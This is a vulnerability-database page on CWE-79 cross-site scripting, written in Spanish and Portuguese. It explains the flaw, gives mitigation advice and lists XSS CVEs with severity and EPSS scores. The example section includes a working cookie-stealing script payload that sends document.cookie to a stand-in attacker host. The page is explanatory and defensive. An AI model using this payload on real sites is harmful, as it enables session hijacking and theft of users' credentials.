Fallos del tipo CWE-79

29.825 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-20377MEDIUMA vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) could allow an authenticated, remote attackEPSS 0.4%CVE-2024-42697MEDIUMCross Site Scripting vulnerability in Leotheme Leo Product Search Module v.2.1.6 and earlier allows a remote attacker to execute arbitrary cEPSS 0.4%CVE-2023-32296HIGHWordPress Kangu para WooCommerce Plugin <= 2.2.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-12705HIGHSocial Reviews & Recommendations <= 2.5 - Unauthenticated Stored Cross-Site Scripting via Social Media ReviewsEPSS 0.4%CVE-2024-1782MEDIUMBlue Triad EZAnalytics <= 1.0 - Reflected Cross-Site Scripting via 'bt_webid'EPSS 0.4%CVE-2025-47092MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-37997HIGHWordPress Post List With Featured Image Plugin <= 1.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-0848MEDIUMAA Cash Calculator <= 1.0 - Reflected Cross-Site Scripting via invoiceEPSS 0.4%CVE-2024-33997MEDIUMmoodle: stored XSS risk when editing another user's equation in equation editorEPSS 0.4%CVE-2023-25483MEDIUMWordPress Easy Coming Soon Plugin <= 2.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-27622MEDIUMWordPress GuruWalk Affiliates Plugin <= 1.0.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-48527HIGHHaxCMS has a stored Cross-Site Scripting (XSS) bypass in saveNode endpointEPSS 0.4%CVE-2024-47640HIGHWordPress WP ERP plugin <= 1.13.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-4482MEDIUMAuto Amazon Links <= 5.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via styleEPSS 0.4%CVE-2024-32567HIGHWordPress DirectoryPress plugin <= 3.6.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-1320MEDIUMEventPrime – Events Calendar, Bookings and Tickets <= 3.4.3 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-34175HIGHWordPress Login Configurator Plugin <= 2.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-32034MEDIUMCross-site scripting (XSS) in the decidim admin activity logEPSS 0.4%CVE-2023-49272MEDIUMHotel Management v1.0 - Multiple Reflected Cross-Site Scripting (XSS)EPSS 0.4%CVE-2024-0957MEDIUMWooCommerce PDF Invoices, Packing Slips, Delivery Notes and Shipping Labels <= 4.4.1 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%